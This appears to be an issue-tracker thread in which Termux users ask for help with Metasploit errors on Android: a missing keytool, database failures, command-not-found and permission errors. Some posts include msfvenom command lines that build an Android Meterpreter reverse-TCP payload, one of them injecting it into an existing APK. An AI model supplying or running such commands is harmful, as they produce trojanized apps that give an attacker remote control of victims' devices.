If i'm write this command:
./msfvenom -x base.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o hack.apk
i'm get this:
sing APK template: base.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
Error: keytool not found. If it's not in your PATH, please add it.
How to fix this?(or teach me how to use metasploit)
Hello! I think you are more likely to get an answer on https://plus.google.com/communities/101692629528551299417, https://groups.io/g/termux/ or a metasploit forum!
$ ./msfvenom
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: ./msfvenom [options]
Options:
-p, --payload
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled
-f, --format
--help-formats List available formats
-e, --encoder
-a, --arch
--platform
--help-platforms List available platforms
-s, --space
--encoder-space
-b, --bad-chars The list of characters to avoid example: 'x00xff'
-i, --iterations
-c, --add-code
-x, --template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out
-v, --var-name
--smallest Generate the smallest possible payload
-h, --help Show this message
$
What to do now?
@Mohithchowdary you haven't passed any arguments
@illialoo99 You are trying to inject payload to another apk, which uses apktool and java, which are are currently not available in termux.
I don't know what to do now! Can you please tell me to solve this error
I will excute the exact procedure
[-] Failed to connect to the database: FATAL: role "msf" does not exist
Error while starting msfconsole
Unable to use it what to do?
How do I sign payload any one help me plzz
Whenever I use msfvenom on my terminal it says msfvenom:command not found.Can somebody help me ?
msfvenom command not found, please help me
First install kali on termux and then try installing metasploit, java and apktoopl in it.
quick question, PERMISSION DENIED
when I'm doing
./msfvenom -p android/meterpreter/reverse_tcp LHOST=(ip) LPORT=4444 R > /storage/emulated/0/Documents/test4.apk
I get
bash: /storage/emulated/0/Documents/test4.apk: Permission Denied
@IvnJzn maybe execute termux-setup-storage ?
Most helpful comment
@IvnJzn maybe execute
termux-setup-storage?